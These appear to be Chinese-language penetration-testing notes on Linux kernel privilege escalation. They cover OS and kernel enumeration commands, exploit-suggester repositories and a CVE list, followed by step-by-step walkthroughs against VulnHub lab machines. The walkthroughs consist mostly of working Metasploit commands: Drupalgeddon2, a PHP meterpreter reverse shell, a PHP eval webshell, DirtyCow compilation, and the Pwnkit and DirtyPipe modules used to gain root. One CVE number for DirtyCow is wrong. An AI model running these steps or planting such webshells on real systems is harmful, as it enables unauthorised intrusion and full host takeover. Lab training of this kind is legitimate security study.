#信息收集
当前主机的操作系统
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
当前主机的内核版本
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"
#内核漏洞筛选：
MSF检测：
run post/multi/recon/local_exploit_suggester
提权脚本:
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester
综合脚本:
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
#应用场景：
获取到Web权限在Linux服务器上时进行的内核漏洞提权
#常见内核漏洞案例：
dirtycow（CVE-2016-5159）
Pwnkit (CVE-2021-4034)
Dirty Pipe（CVE-2022-0847)
SUDO （CVE-2021-3156）
大脏牛 (CVE-2017--1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
...
#Linux系统提权-Web&内核溢出-Dcow
复现环境：https://www.vulnhub.com/entry/lampiao-1,249/
1、信息收集：
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用：
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run
3、内核提权：
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
su root
#Linux系统提权-Web&内核溢出-Pwnkit
复现环境：https://www.vulnhub.com/entry/darkhole-1,724/
1、信息收集：
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用：
重置管理密码-上传1.phtml-反弹MSF
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2021_4034
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session x
run
getuid
shell
cd /root
cat root.txt
#Linux系统提权-Web&内核溢出-DirtyPipe
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
1、信息收集：
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用
扫描发现-抓包分析-文件写入-反弹MSF
gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
message=<?php eval($_POST"pass");?>&file=xd.php
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
set lhost xx.xx.xx.xx
run
#补充
CVE-2023-0386